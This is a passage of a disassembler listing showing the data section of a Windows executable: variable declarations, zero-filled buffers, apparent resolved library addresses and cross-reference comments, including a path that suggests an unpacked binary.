					; sub_409E0C+C2r ...
dword_4E4228	dd 77C7531Dh		; DATA XREF: sub_409E0C+473w
					; sub_409E0C+4CBr ...
dword_4E422C	dd 77D4BDCAh		; DATA XREF: sub_409E0C+165w
					; sub_409E0C+1BAr ...
dword_4E4230	dd 71C3516Ah		; DATA XREF: sub_409E0C+9FFw
					; sub_409E0C+A5Br ...
dword_4E4234	dd 71AB32CAh		; DATA XREF: sub_409E0C+685w
					; sub_409E0C+7ACr ...
dword_4E4238	dd 71AB5690h		; DATA XREF: sub_401B4F+D1r
					; sub_401CC7+5306r ...
dword_4E423C	dd 1F7CB8F8h		; DATA XREF: sub_409E0C+C1Bw
					; sub_409E0C+C47r
dword_4E4240	dd 77EBB1E7h		; DATA XREF: sub_409E0C+3Ew
					; sub_409E0C+BAr ...
dword_4E4244	dd 77DD59F0h		; DATA XREF: sub_401000+45r
					; sub_409E0C+298w ...
dword_4E4248	dd 71AB5DE2h		; DATA XREF: sub_409E0C+651w
					; sub_409E0C+78Cr ...
dword_4E424C	dd 71AB3ECEh		; DATA XREF: sub_409E0C+637w
					; sub_409E0C+77Cr ...
dword_4E4250	dd 73B81B0Fh		; DATA XREF: sub_401CC7+751Ar
					; sub_409E0C+C92w
dword_4E4254	dd 76204E4Dh		; DATA XREF: sub_409E0C+879w
					; sub_416F9A+4DCr ...
dword_4E4258	dd 0			; DATA XREF: sub_409E0C+112w
dword_4E425C	dd 1F7D886Ah		; DATA XREF: sub_409E0C+BE7w
					; sub_409E0C+C22r
dword_4E4260	dd 71AB12F8h		; DATA XREF: sub_401CC7+2FF6r
					; sub_401CC7+60E8r ...
dword_4E4264	dd 77C76551h		; DATA XREF: sub_409E0C+459w
					; sub_409E0C+4BBr ...
dword_4E4268	dd 77C729E2h		; DATA XREF: sub_409E0C+49Aw
					; sub_409E0C+4E3r ...
dword_4E426C	dd 77C7212Fh		; DATA XREF: sub_409E0C+466w
					; sub_409E0C+4C3r ...
dword_4E4270	dd 71AB1AF4h		; DATA XREF: sub_401B4F+89r
					; sub_401CC7+5323r ...
dword_4E4274	dd 77D5E303h		; DATA XREF: sub_409E0C+1A6w
					; sub_409E0C+1E2r ...
dword_4E4278	dd 71C4576Ch		; DATA XREF: sub_409E0C+9F2w
					; sub_409E0C+A53r ...
dword_4E427C	dd 77D4702Fh		; DATA XREF: sub_409E0C+158w
					; sub_409E0C+1ADr ...
dword_4E4280	dd 77E6C0E3h		; DATA XREF: sub_409E0C+8Cw
					; sub_409E0C+E2r ...
dword_4E4284	dd 71AB1ED3h		; DATA XREF: sub_409E0C+610w
					; sub_409E0C+764r ...
dword_4E4288	dd 71B2A381h		; DATA XREF: sub_409E0C+B43w
					; sub_409E0C+B5Fr
dword_4E428C	dd 77DDA595h		; DATA XREF: sub_409E0C+33Aw
					; sub_41A556+55r
dword_4E4290	dd 77DD22EAh		; DATA XREF: sub_409E0C+27Ew
					; sub_409E0C+2D3r ...
dword_4E4294	dd 773F97B0h		; DATA XREF: sub_409E0C+BAAw
dword_4E4298	dd 76D67A29h		; DATA XREF: sub_409E0C+AECw
					; sub_40AEC5+D4r
dword_4E429C	dd 76D674FAh		; DATA XREF: sub_409E0C+ADFw
					; sub_409E0C+AE6r ...
dword_4E42A0	dd 71AB3C22h		; DATA XREF: sub_4019E7+A6r
					; sub_401CC7+5282r ...
dword_4E42A4	dd 71AB2BBFh		; DATA XREF: sub_401CC7+5274r
					; sub_401CC7+7ACDr ...
dword_4E42A8	dd 1F7BA3A9h		; DATA XREF: sub_409E0C+BF4w
					; sub_409E0C+C2Fr
dword_4E42AC	dd 71AB401Ch		; DATA XREF: sub_401CC7+1E0Er
					; sub_401CC7+5C4Fr ...
dword_4E42B0	dd 71C214BAh		; DATA XREF: sub_409E0C+9B1w
					; sub_409E0C+A2Br ...
dword_4E42B4	dd 71AB868Dh		; DATA XREF: sub_409E0C+65Ew
					; sub_409E0C+794r ...
dword_4E42B8	dd 71AB1A6Dh		; DATA XREF: sub_401317+12r
					; sub_4019E7+D0r ...
dword_4E42BC	dd 71AB155Ah		; DATA XREF: sub_409E0C+59Bw
					; sub_409E0C+70Cr ...
dword_4E42C0	dd 71B22C25h		; DATA XREF: sub_409E0C+B36w
					; sub_409E0C+B57r
dword_4E42C4	dd 71AB5A01h		; DATA XREF: sub_409E0C+540w
					; sub_409E0C+6C4r ...
dword_4E42C8	dd 71B2ACCBh		; DATA XREF: sub_409E0C+B29w
					; sub_409E0C+B4Ar
dword_4E42CC	dd 77E78C17h		; DATA XREF: WinMain(x,x,x,x)+52r
					; sub_409E0C+31w ...
dword_4E42D0	dd 77D49A11h		; DATA XREF: sub_409E0C+17Fw
					; sub_409E0C+1CAr ...
		align 8
dword_4E42D8	dd 76D62A37h		; DATA XREF: sub_409E0C+927w
					; sub_409E0C+93Br ...
dword_4E42DC	dd 77E6CBF9h		; DATA XREF: sub_409E0C+99w
					; sub_409E0C+EAr ...
dword_4E42E0	dd 0			; DATA XREF: sub_409E0C:loc_409F0Aw
					; sub_409E0C+12Bw ...
dword_4E42E4	dd 0			; DATA XREF: sub_409E0C+126w
					; sub_40AAC8+1Cr
dword_4E42E8	dd 0			; DATA XREF: sub_409E0C:loc_409FFAw
					; sub_409E0C:loc_40A061w ...
dword_4E42EC	dd 0			; DATA XREF: sub_409E0C+250w
					; sub_40AAC8+50r
dword_4E42F0	dd 0			; DATA XREF: WinMain(x,x,x,x)+349r
					; sub_401CC7+45E1r ...
dword_4E42F4	dd 0			; DATA XREF: sub_409E0C+41Ew
					; sub_40AAC8+84r
dword_4E42F8	dd 0			; DATA XREF: sub_409E0C:loc_40A310w
					; sub_40AAC8:loc_40AB78r
dword_4E42FC	dd 0			; DATA XREF: sub_409E0C+4FFw
					; sub_40AAC8+B8r
dword_4E4300	dd 0			; DATA XREF: sub_409E0C:loc_40A5E1w
					; sub_40AAC8:loc_40ABACr
dword_4E4304	dd 0			; DATA XREF: sub_409E0C+7D0w
					; sub_40AAC8+ECr
dword_4E4308	dd 0			; DATA XREF: sub_409E0C:loc_40A6CCw
					; sub_409E0C+8EFw ...
dword_4E430C	dd 0			; DATA XREF: sub_409E0C+8EAw
					; sub_40AAC8+120r
dword_4E4310	dd 0			; DATA XREF: sub_401CC7:loc_40725Fr
					; sub_409E0C:loc_40A760w ...
dword_4E4314	dd 0			; DATA XREF: sub_409E0C+94Fw
					; sub_40AAC8+154r
dword_4E4318	dd 0			; DATA XREF: sub_401CC7+45E9r
					; sub_409E0C:loc_40A87Cw ...
dword_4E431C	dd 0			; DATA XREF: sub_409E0C+A6Bw
					; sub_40AAC8+188r
dword_4E4320	dd 0			; DATA XREF: sub_409E0C:loc_40A8C6w
					; sub_40AAC8:loc_40AC7Cr
dword_4E4324	dd 0			; DATA XREF: sub_409E0C+AB5w
					; sub_40AAC8+1BCr
dword_4E4328	dd 0			; DATA XREF: sub_409E0C:loc_40A910w
					; sub_40AAC8:loc_40ACB0r
dword_4E432C	dd 0			; DATA XREF: sub_409E0C+AFFw
					; sub_40AAC8+1F0r
dword_4E4330	dd 0			; DATA XREF: sub_409E0C:loc_40A984w
					; sub_40AAC8:loc_40ACE4r
dword_4E4334	dd 0			; DATA XREF: sub_409E0C+B73w
					; sub_40AAC8+224r
dword_4E4338	dd 0			; DATA XREF: sub_409E0C:loc_40A9CEw
					; sub_40AAC8:loc_40AD18r
dword_4E433C	dd 0			; DATA XREF: sub_409E0C+BBDw
					; sub_40AAC8+258r
dword_4E4340	dd 0			; DATA XREF: sub_409E0C:loc_40AA6Cw
					; sub_40AAC8:loc_40AD4Cr
dword_4E4344	dd 0			; DATA XREF: sub_409E0C+C5Bw
					; sub_40AAC8+28Cr
dword_4E4348	dd 0			; DATA XREF: sub_409E0C:loc_40AAB6w
					; sub_40AAC8:loc_40AD80r
dword_4E434C	dd 0			; DATA XREF: sub_409E0C+CA5w
					; sub_40AAC8+2C0r
; char byte_4E4350[]
byte_4E4350	db 14h dup(0)		; DATA XREF: sub_40AFA9+32o
dword_4E4364	dd 2 dup(0)		; DATA XREF: .text:0040AE04o
dword_4E436C	dd 0			; DATA XREF: sub_40B2D5+12o
dword_4E4370	dd 0			; DATA XREF: sub_40B3DF+33o
dword_4E4374	dd 0			; DATA XREF: sub_40B3DF+63o
byte_4E4378	db 0			; DATA XREF: sub_40B687+6Ar
					; sub_40B687+98w
		align 10h
dword_4E4380	dd 0			; DATA XREF: sub_40C0EE+18r
					; sub_40C63B+9o ...
dword_4E4384	dd 0			; DATA XREF: sub_40C989+4Dr
					; sub_40CBA1+D9w ...
		dd 73h dup(0)
		db 2 dup(0)
word_4E4556	dw 0			; DATA XREF: .data:00455B2Co
		dd 0BAh	dup(0)
		db 3 dup(0)
byte_4E4843	db 0			; DATA XREF: .data:00455C9Co
					; .data:00455CDCo ...
		dd 40h dup(0)
		db 2 dup(0)
word_4E4946	dw 0			; DATA XREF: .data:0045580Co
					; .data:00455814o
		dd 181h	dup(0)
		db 2 dup(0)
word_4E4F4E	dw 0			; DATA XREF: .data:00455E7Co
		dd 0FDh	dup(0)
		db 0
byte_4E5345	db 3 dup(0)		; DATA XREF: .data:00455998o
					; .data:00455EE4o
		dd 40Eh	dup(0)
dword_4E6380	dd 6 dup(0)		; DATA XREF: sub_40C989+D2o
					; sub_40C989+13Bo ...
dword_4E6398	dd 0			; DATA XREF: sub_40C165+2C4w
					; sub_40C165+348o
dword_4E639C	dd 0			; DATA XREF: sub_40C165+33Ew
					; sub_40C165+35Ar
dword_4E63A0	dd 0			; DATA XREF: sub_40C165+2CFw
dword_4E63A4	dd 0			; DATA XREF: sub_40C165+2B9w
					; sub_40C165:loc_40C47Ar
; char byte_4E63A8[]
byte_4E63A8	db 80h dup(0)		; DATA XREF: sub_40C165+2E2o
					; sub_40C165+302o
dword_4E6428	dd 0			; DATA XREF: sub_40C165+2D5w
dword_4E642C	dd 0			; DATA XREF: sub_40C165+2EFw
					; sub_40C165+30Fw
dword_4E6430	dd 0			; DATA XREF: sub_40C165:loc_40C4D5r
		align 8
dword_4E6438	dd 0			; DATA XREF: sub_40C165+82w
					; sub_40C165+101o
dword_4E643C	dd 41h dup(0)		; DATA XREF: sub_40C165+41o
; char byte_4E6540[]
byte_4E6540	db 104h	dup(0)		; DATA XREF: sub_40C165+69o
dword_4E6644	dd 0			; DATA XREF: sub_40C165+F7w
					; sub_40C165+113r
dword_4E6648	dd 0			; DATA XREF: sub_40C165+52w
dword_4E664C	dd 0			; DATA XREF: sub_40C165+4Dw
					; sub_40C165+D4r
; char byte_4E6650[]
byte_4E6650	db 80h dup(0)		; DATA XREF: sub_40C165+9Ao
					; sub_40C165+BAo
dword_4E66D0	dd 0			; DATA XREF: sub_40C165+8Fw
dword_4E66D4	dd 0			; DATA XREF: sub_40C165+A7w
					; sub_40C165+C7w
dword_4E66D8	dd 0			; DATA XREF: sub_40C165:loc_40C28Er
		align 10h
dword_4E66E0	dd 0			; DATA XREF: sub_40C165+1A5w
					; sub_40C165+225o
dword_4E66E4	dd 41h dup(0)		; DATA XREF: sub_40C165+167o
; char byte_4E67E8[]
byte_4E67E8	db 104h	dup(0)		; DATA XREF: sub_40C165+18Co
dword_4E68EC	dd 0			; DATA XREF: sub_40C165+21Bw
					; sub_40C165+237r
dword_4E68F0	dd 0			; DATA XREF: sub_40C165+17Aw
dword_4E68F4	dd 0			; DATA XREF: sub_40C165+175w
					; sub_40C165+1F8r
; char byte_4E68F8[]
byte_4E68F8	db 80h dup(0)		; DATA XREF: sub_40C165+1BEo
					; sub_40C165+1DEo
dword_4E6978	dd 0			; DATA XREF: sub_40C165+1B1w
dword_4E697C	dd 0			; DATA XREF: sub_40C165+1CBw
					; sub_40C165+1EBw
dword_4E6980	dd 0			; DATA XREF: sub_40C165:loc_40C3B2r
		align 8
dword_4E6988	dd 0			; DATA XREF: sub_40C165+417w
					; sub_40C165+470o
; char byte_4E698C[]
byte_4E698C	db 288h	dup(0)		; DATA XREF: sub_40C165+405o
; char byte_4E6C14[]
byte_4E6C14	db 104h	dup(0)		; DATA XREF: sub_40C165+3CFo
dword_4E6D18	dd 0			; DATA XREF: sub_40C165+3FCw
					; sub_40C165+423r
		align 10h
dword_4E6D20	dd 0			; DATA XREF: sub_40C165+466w
					; sub_40C165+482r
dword_4E6D24	dd 0			; DATA XREF: sub_40C165+429w
dword_4E6D28	dd 0			; DATA XREF: sub_40C165+436w
dword_4E6D2C	dd 0			; DATA XREF: sub_40C165+3F6w
		dd 0
dword_4E6D34	dd 0			; DATA XREF: sub_40C165:loc_40C5FDr
		dd 0
dword_4E6D3C	dd 0			; DATA XREF: sub_40BDB1+Er
					; sub_40BDB1+32r ...
dword_4E6D40	dd 0			; DATA XREF: sub_40BDB1+9r
					; sub_40BDB1+26r ...
; char byte_4E6D44[]
byte_4E6D44	db 208h	dup(0)		; DATA XREF: sub_40CE00+8Do
dword_4E6F4C	dd 2 dup(0)		; DATA XREF: sub_40D797+68o
dword_4E6F54	dd 0			; DATA XREF: sub_40D237+13o
dword_4E6F58	dd 0			; DATA XREF: sub_40DA86+10o
dword_4E6F5C	dd 2080Ah		; DATA XREF: sub_40E303+8w
					; sub_40E3FF+2D6o
		dd 0
dword_4E6F64	dd 0			; DATA XREF: sub_40E3FF+64o
dword_4E6F68	dd 0			; DATA XREF: sub_40E3FF+69o
dword_4E6F6C	dd 3 dup(0)		; DATA XREF: sub_40E3FF+20Co
dword_4E6F78	dd 0			; DATA XREF: sub_40EC96+148o
dword_4E6F7C	dd 0			; DATA XREF: sub_40EF61+1Fr
					; sub_40EFAC+BCo ...
dword_4E6F80	dd 0			; DATA XREF: sub_40EFAC+B7o
					; sub_40EFAC+DAr ...
dword_4E6F84	dd 0			; DATA XREF: sub_40EFAC+9Ao
					; sub_40EFAC+CFr ...
dword_4E6F88	dd 0			; DATA XREF: sub_40EF1E+35r
					; sub_40EFAC+95o ...
dword_4E6F8C	dd 0			; DATA XREF: sub_40EF1E+17r
					; sub_40EF61+3Dr ...
		dd 0
dword_4E6F94	dd 0D1C0h		; DATA XREF: sub_40C165+2AEr
					; sub_40F181+10w ...
		dd 0
dword_4E6F9C	dd 0			; DATA XREF: sub_40BE1D+1Cr
					; sub_40F198+27Cw
dword_4E6FA0	dd 0			; DATA XREF: sub_40FA71+2Aw
					; sub_40FA71+51r ...
		align 10h
dword_4E6FB0	dd 3 dup(0)		; DATA XREF: sub_410B94+74o
dword_4E6FBC	dd 0			; DATA XREF: sub_411278+146r
		dd 0
dword_4E6FC4	dd 2 dup(0)		; DATA XREF: sub_411278+139o
byte_4E6FCC	db 0			; DATA XREF: sub_41224F+1EFr
		align 10h
dword_4E6FD0	dd 0			; DATA XREF: sub_412E0A+4w
					; sub_412E0A+9o
		align 8
byte_4E6FD8	db 0			; DATA XREF: sub_413956+1D3w
					; sub_413956+2D2o
		align 2
word_4E6FDA	dw 0			; DATA XREF: sub_413956+1E3w
word_4E6FDC	dw 0			; DATA XREF: sub_413956+1E9w
word_4E6FDE	dw 0			; DATA XREF: sub_413956+1F0w
byte_4E6FE0	db 0			; DATA XREF: sub_413956+1F7w
byte_4E6FE1	db 0			; DATA XREF: sub_413956+1FEw
word_4E6FE2	dw 0			; DATA XREF: sub_413956+204w
dword_4E6FE4	dd 0			; DATA XREF: sub_413956+234w
					; sub_413956+250w
dword_4E6FE8	dd 0			; DATA XREF: sub_413956+258w
byte_4E6FEC	db 0			; DATA XREF: sub_413956+26Aw
byte_4E6FED	db 0			; DATA XREF: sub_413956+27Dw
word_4E6FEE	dw 0			; DATA XREF: sub_413956+295w
word_4E6FF0	dw 0			; DATA XREF: sub_413956+2A4w
word_4E6FF2	dw 0			; DATA XREF: sub_413956+29Cw
dword_4E6FF4	dd 101h	dup(0)		; DATA XREF: sub_413956+2B9o
; char byte_4E73F8[]
byte_4E73F8	db 200h	dup(0)		; DATA XREF: sub_401CC7+2F7Bo
					; sub_401CC7:loc_404CD0o ...
byte_4E75F8	db 0			; DATA XREF: sub_4151FE+1A1w
					; sub_4151FE+27Ao
		align 2
word_4E75FA	dw 0			; DATA XREF: sub_4151FE+1AEw
word_4E75FC	dw 0			; DATA XREF: sub_4151FE+1B8w
word_4E75FE	dw 0			; DATA XREF: sub_4151FE+1C1w
byte_4E7600	db 0			; DATA XREF: sub_4151FE+1C8w
byte_4E7601	db 0			; DATA XREF: sub_4151FE+1CFw
word_4E7602	dw 0			; DATA XREF: sub_4151FE+1D6w
dword_4E7604	dd 0			; DATA XREF: sub_4151FE+1E3w
dword_4E7608	dd 0			; DATA XREF: sub_4151FE+1EBw
word_4E760C	dw 0			; DATA XREF: sub_4151FE+244w
word_4E760E	dw 0			; DATA XREF: sub_4151FE+22Cw
word_4E7610	dw 0			; DATA XREF: sub_4151FE+256w
word_4E7612	dw 0			; DATA XREF: sub_4151FE+1F7w
dword_4E7614	dd 101h	dup(0)		; DATA XREF: sub_4151FE+265o
dword_4E7A18	dd 0			; DATA XREF: sub_401CC7+19DDw
					; sub_401CC7+2F73r ...
		dd 3 dup(0)
byte_4E7A28	db 0			; DATA XREF: sub_4156E7+244o
					; sub_4156E7+253w ...
byte_4E7A29	db 0			; DATA XREF: sub_4156E7+267w
word_4E7A2A	dw 0			; DATA XREF: sub_4156E7+298w
word_4E7A2C	dw 0			; DATA XREF: sub_4156E7+27Fw
					; sub_4156E7:loc_415AADw
word_4E7A2E	dw 0			; DATA XREF: sub_4156E7+29Ew
byte_4E7A30	db 0			; DATA XREF: sub_4156E7+28Bw
byte_4E7A31	db 0			; DATA XREF: sub_4156E7+260w
word_4E7A32	dw 0			; DATA XREF: sub_4156E7+3E6w
					; sub_4156E7+410w
dword_4E7A34	dd 0			; DATA XREF: sub_4156E7:loc_4159A4w
					; sub_4156E7+38Er
dword_4E7A38	dd 0			; DATA XREF: sub_4156E7+2CAw
word_4E7A3C	dw 0			; DATA XREF: sub_4156E7+388w
					; sub_4156E7+3DCo
word_4E7A3E	dw 0			; DATA XREF: sub_4156E7+329w
					; sub_4156E7+34Er ...
dword_4E7A40	dd 0			; DATA XREF: sub_4156E7+300w
					; sub_4156E7+3CDw
dword_4E7A44	dd 0			; DATA XREF: sub_4156E7+31Cw
					; sub_4156E7+39Fw ...
byte_4E7A48	db 0			; DATA XREF: sub_4156E7+305r
					; sub_4156E7+313w
byte_4E7A49	db 0			; DATA XREF: sub_4156E7+2CFw
					; sub_4156E7+398w ...
word_4E7A4A	dw 0			; DATA XREF: sub_4156E7+2DDw
word_4E7A4C	dw 0			; DATA XREF: sub_4156E7+3EDw
					; sub_4156E7+41Ew
word_4E7A4E	dw 0			; DATA XREF: sub_4156E7+322w
word_4E7A50	dw 0			; DATA XREF: sub_4156E7+354w
					; sub_4156E7+426o
word_4E7A52	dw 0			; DATA XREF: sub_4156E7+363w
					; sub_4156E7+3FDw
dword_4E7A54	dd 0			; DATA XREF: sub_4156E7+35Dw
		align 10h
dword_4E7A60	dd 0			; DATA XREF: sub_4156E7+393w
					; sub_4156E7+40Bo
dword_4E7A64	dd 0			; DATA XREF: sub_4156E7+32Fw
byte_4E7A68	db 0			; DATA XREF: sub_4156E7+335w
byte_4E7A69	db 0			; DATA XREF: sub_4156E7+33Bw
word_4E7A6A	dw 0			; DATA XREF: sub_4156E7+348w
dword_4E7A6C	dd 7 dup(0)		; DATA XREF: sub_4156E7+3E1o
dword_4E7A88	dd 0			; DATA XREF: sub_4156E7+30w
					; sub_4156E7+42Fr
; char byte_4E7A8C[]
byte_4E7A8C	db 404h	dup(0)		; DATA XREF: sub_4156E7+1C0o
					; sub_4156E7+472o
; char byte_4E7E90[]
byte_4E7E90	db 4000h dup(0)		; DATA XREF: sub_415C77+1Do
					; .text:00415D61o ...
; char byte_4EBE90[]
byte_4EBE90	db 4 dup(0)		; DATA XREF: sub_415C77+13o
					; .text:00415DA8o ...
dword_4EBE94	dd 0			; DATA XREF: sub_416191+Fr
					; sub_41638A+12r
		align 10h
dword_4EBEA0	dd 0			; DATA XREF: .data:0044E460o
dword_4EBEA4	dd 0			; DATA XREF: .data:0044E478o
dword_4EBEA8	dd 0			; DATA XREF: .data:0044E490o
dword_4EBEAC	dd 0			; DATA XREF: .data:0044E4A8o
dword_4EBEB0	dd 0			; DATA XREF: .data:0044E4C0o
dword_4EBEB4	dd 0			; DATA XREF: .data:0044E4D8o
dword_4EBEB8	dd 0			; DATA XREF: .data:0044E4F0o
dword_4EBEBC	dd 0			; DATA XREF: .data:0044E508o
dword_4EBEC0	dd 0			; DATA XREF: .data:0044E520o
dword_4EBEC4	dd 0			; DATA XREF: .data:0044E538o
dword_4EBEC8	dd 0			; DATA XREF: .data:0044E550o
dword_4EBECC	dd 0			; DATA XREF: .data:0044E568o
dword_4EBED0	dd 0			; DATA XREF: .data:0044E580o
dword_4EBED4	dd 0			; DATA XREF: .data:0044E5B0o
dword_4EBED8	dd 0			; DATA XREF: .data:0044E5C8o
dword_4EBEDC	dd 0			; DATA XREF: .data:0044E5E0o
dword_4EBEE0	dd 0			; DATA XREF: .data:0044E5F8o
dword_4EBEE4	dd 0			; DATA XREF: .data:0044E610o
dword_4EBEE8	dd 0			; DATA XREF: .data:0044E628o
dword_4EBEEC	dd 0			; DATA XREF: .data:0044E640o
dword_4EBEF0	dd 2 dup(0)		; DATA XREF: .data:0044E658o
dword_4EBEF8	dd 2 dup(0)		; DATA XREF: sub_4167F7:loc_41688Ao
dword_4EBF00	dd 0			; DATA XREF: sub_416F9A+431o
dword_4EBF04	dd 0Eh dup(0)		; DATA XREF: sub_4174C3+Fo
; char byte_4EBF3C[]
byte_4EBF3C	db 200h	dup(0)		; DATA XREF: sub_418192+41o
; wchar_t word_4EC13C
word_4EC13C	dw 0			; DATA XREF: sub_417AC3+C7o
					; sub_417E1E+DDo ...
		align 10h
		dd 1FFh	dup(0)
; wchar_t word_4EC93C
word_4EC93C	dw 0			; DATA XREF: sub_417AC3+D6o
					; sub_417E1E+F4o ...
		align 10h
		dd 1FFh	dup(0)
dword_4ED13C	dd 0			; DATA XREF: sub_417AC3+86w
					; sub_417C95+94r
dword_4ED140	dd 0			; DATA XREF: sub_417AC3+A7w
					; sub_4180FB+55r ...
dword_4ED144	dd 0			; DATA XREF: sub_417AC3+A0w
					; sub_417C95+D6r ...
dword_4ED148	dd 0			; DATA XREF: sub_417AC3+79w
					; sub_417C95+35r ...
; char byte_4ED14C[]
byte_4ED14C	db 200h	dup(0)		; DATA XREF: sub_4180FB+5Eo
dword_4ED34C	dd 0			; DATA XREF: sub_417AC3+93w
					; sub_417C95+A2r
		dd 0
dword_4ED354	dd 0			; DATA XREF: sub_417AC3+E7o
					; sub_417AC3+103r ...
dword_4ED358	dd 0			; DATA XREF: sub_417E1E+17Bw
					; sub_417FC5+107w
; void *Src
Src		dd 0			; DATA XREF: sub_417E1E+180w
					; sub_417FC5+10Dw ...
dword_4ED360	dd 0			; DATA XREF: sub_417E1E+159w
					; sub_4180FB+4Fr
		align 8
dword_4ED368	dd 0			; DATA XREF: sub_418465+22w
					; sub_418465:loc_4185EAw ...
dword_4ED36C	dd 0			; DATA XREF: sub_401CC7+3CF0o
					; sub_418331+12o ...
		dd 0
dword_4ED374	dd 0			; DATA XREF: sub_418465+1Cr
					; sub_41860A+3Ar
		dd 7Fh dup(0)
dword_4ED574	dd 0			; DATA XREF: sub_418465+28r
					; sub_41860A+4Aw
		dd 1944h dup(0)
dword_4F3A88	dd 0			; DATA XREF: sub_41860A+23o
dword_4F3A8C	dd 0			; DATA XREF: sub_401CC7+3D14o
					; sub_418331+3Co ...
dword_4F3A90	dd 0			; DATA XREF: .data:00450354o
dword_4F3A94	dd 0			; DATA XREF: .data:0045035Co
dword_4F3A98	dd 0			; DATA XREF: .data:00450360o
dword_4F3A9C	dd 0			; DATA XREF: .data:00450364o
dword_4F3AA0	dd 0			; DATA XREF: .data:00450368o
dword_4F3AA4	dd 0			; DATA XREF: .data:00450384o
dword_4F3AA8	dd 0			; DATA XREF: .data:0045038Co
dword_4F3AAC	dd 0			; DATA XREF: .data:00450390o
dword_4F3AB0	dd 0			; DATA XREF: .data:0045039Co
dword_4F3AB4	dd 0			; DATA XREF: .data:004503A0o
dword_4F3AB8	dd 0			; DATA XREF: .data:004503A8o
; char byte_4F3ABC[]
byte_4F3ABC	db 204h	dup(0)		; DATA XREF: sub_418E9D+6Ao
dword_4F3CC0	dd 0			; DATA XREF: sub_41912E+E9o
; char byte_4F3CC4[]
byte_4F3CC4	db 5Ch dup(0)		; DATA XREF: sub_4196E2:loc_4197FFo
					; sub_4196E2+131o ...
; char byte_4F3D20[]
byte_4F3D20	db 200h	dup(0)		; DATA XREF: sub_41A498+7Co
					; sub_41A498+A5o
dword_4F3F20	dd 0			; DATA XREF: sub_419A5D+45w
					; sub_419A5D+4Dr ...
; char byte_4F3F24[]
byte_4F3F24	db 5Ch dup(0)		; DATA XREF: sub_41A364:loc_41A486o
					; sub_41A364+12Do
; char byte_4F3F80[]
byte_4F3F80	db 200h	dup(0)		; DATA XREF: sub_41999D+4Co
					; sub_41999D+7Eo ...
byte_4F4180	db 0			; DATA XREF: sub_419A5D+29r
					; sub_419A5D+34w
		align 4
; char byte_4F4184[]
byte_4F4184	db 200h	dup(0)		; DATA XREF: sub_419CB4+61o
					; sub_419CB4+89o ...
; char byte_4F4384[]
byte_4F4384	db 204h	dup(0)		; DATA XREF: sub_4195C6:loc_4195FEo
					; sub_4195C6+5Bo
dword_4F4588	dd 0			; DATA XREF: sub_41A939:loc_41A95Ar
					; sub_41AA28+54r ...
dword_4F458C	dd 0			; DATA XREF: sub_41A939r
					; sub_41AA28+37r ...
dword_4F4590	dd 0			; DATA XREF: sub_41A969+1Ar
					; sub_41AB7D+83o
dword_4F4594	dd 0			; DATA XREF: sub_41A939:loc_41A94Dr
					; sub_41AB7D+11Bw
; char byte_4F4598[]
byte_4F4598	db 34h dup(0)		; DATA XREF: sub_41AA28+13o
					; sub_41AB7D:loc_41ACBEo
; int dword_4F45CC
dword_4F45CC	dd 0			; DATA XREF: sub_41AA28+CDr
					; sub_41AA28+ECr ...
		dd 0
; char byte_4F45D4[]
byte_4F45D4	db 4 dup(0)		; DATA XREF: sub_41A9A1+9o
dword_4F45D8	dd 0			; DATA XREF: sub_41AB7D+DFo
; char byte_4F45DC[]
byte_4F45DC	db 4 dup(0)		; DATA XREF: sub_41AB7D:loc_41ACB9o
; char byte_4F45E0[]
byte_4F45E0	db 38h dup(0)		; DATA XREF: sub_41B7A7+47o
dword_4F4618	dd 4 dup(0)		; DATA XREF: sub_41B964+13o
dword_4F4628	dd 0			; DATA XREF: .text:0041C173o
dword_4F462C	dd 0			; DATA XREF: .text:0041C188o
dword_4F4630	dd 0			; DATA XREF: .text:0041C18Fo
dword_4F4634	dd 0			; DATA XREF: .text:0041C1ABo
dword_4F4638	dd 0			; DATA XREF: .text:0041C1C0o
dword_4F463C	dd 2 dup(0)		; DATA XREF: .text:0041C1C7o
; char byte_4F4644
byte_4F4644	db 0			; DATA XREF: sub_41C5F5+6o
					; sub_41C76A+1E6o ...
		align 4
		dd 3Fh dup(0)
word_4F4744	dw 0			; DATA XREF: sub_41C624+2Fr
		align 4
dword_4F4748	dd 2 dup(0)		; DATA XREF: sub_41C624+8o
dword_4F4750	dd 2 dup(0)		; DATA XREF: sub_41C624+18o
dword_4F4758	dd 2 dup(0)		; DATA XREF: sub_41C76A+29o
dword_4F4760	dd 941E90h		; DATA XREF: __heap_alloc_dbg+262w
					; _realloc_help:loc_41D64Br ...
dword_4F4764	dd 1545h		; DATA XREF: __heap_alloc_dbg:loc_41CFB3r
					; __heap_alloc_dbg+21Cw ...
dword_4F4768	dd 943230h		; DATA XREF: __heap_alloc_dbg:loc_41CFE9r
					; __heap_alloc_dbg+252r ...
dword_4F476C	dd 118Ah		; DATA XREF: __heap_alloc_dbg+222r
					; __heap_alloc_dbg+22Aw ...
dword_4F4770	dd 118Ah		; DATA XREF: __heap_alloc_dbg+235r
					; __heap_alloc_dbg+243w ...
dword_4F4774	dd 0			; DATA XREF: __sopen+217r
dword_4F4778	dd 0A28h		; DATA XREF: sub_41E4D0:loc_41E53Ar
					; sub_41E4D0:loc_41E5ADr ...
dword_4F477C	dd 501h			; DATA XREF: start+64w
dword_4F4780	dd 5			; DATA XREF: start+4Fw	start+55r
dword_4F4784	dd 1			; DATA XREF: start+3Ew	start+5Er
dword_4F4788	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_401710r
					; __setargv+C6w
dword_4F478C	dd 942840h		; DATA XREF: WinMain(x,x,x,x)+2FEr
					; WinMain(x,x,x,x)+31Er ...
		dd 0
dword_4F4794	dd 942888h		; DATA XREF: __setenvp+7Bw
					; __setenvp+81r ...
dword_4F4798	dd 0			; DATA XREF: ___crtsetenv+49r
dword_4F479C	dd 0			; DATA XREF: _getenv+24r
					; ___wtomb_environ+6r ...
		dd 0
off_4F47A4	dd offset aCM_unpackerPac ; DATA XREF: __setargv+26w
					; __setargv+3Cr
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4F47AC	db 0			; DATA XREF: _doexit+30w
					; ___endstdio+8r
		align 10h
dword_4F47B0	dd 0			; DATA XREF: _doexit:loc_41F763w
dword_4F47B4	dd 0			; DATA XREF: _doexit+9r
					; _doexit:loc_41F80Bw
dword_4F47B8	dd 0			; DATA XREF: _doexit+95r _doexit+AFw
dword_4F47BC	dd 0			; DATA XREF: .text:00420FE4r
					; .text:00420FEFw
dword_4F47C0	dd 0			; DATA XREF: __fpmath+10w
		align 8
dword_4F47C8	dd 0			; DATA XREF: _time+88r	_time+F8w
		align 10h
dword_4F47D0	dd 0			; DATA XREF: _time+7Dr	_time+100w ...
